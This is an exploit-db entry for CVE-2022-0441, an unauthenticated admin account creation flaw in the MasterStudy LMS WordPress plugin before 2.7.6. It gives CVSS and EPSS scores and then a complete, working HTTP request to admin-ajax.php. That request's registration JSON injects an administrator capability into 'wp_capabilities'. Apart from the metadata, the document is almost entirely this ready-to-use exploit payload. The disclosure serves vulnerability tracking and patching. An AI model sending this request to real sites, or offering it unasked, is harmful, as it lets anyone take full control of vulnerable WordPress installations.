WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation

2022-02-1800:00:00

numan türle

www.exploit-db.com

363

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

0.262 Low

EPSS

Percentile

96.8%

JSON

# Title: WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation
# Date: 16.02.2022
# Author: Numan Türle
# CVE: CVE-2022-0441
# Software Link: https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
# Version: <2.7.6
# https://www.youtube.com/watch?v=SI_O6CHXMZk
# https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6
# https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed


POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce=[NONCE] HTTP/1.1
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: tr,en;q=0.9,tr-TR;q=0.8,en-US;q=0.7,el;q=0.6,zh-CN;q=0.5,zh;q=0.4
Content-Type: application/json
Content-Length: 339

{"user_login":"USERNAME","user_email":"EMAIL@TLD","user_password":"PASSWORD","user_password_re":"PASSWORD","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}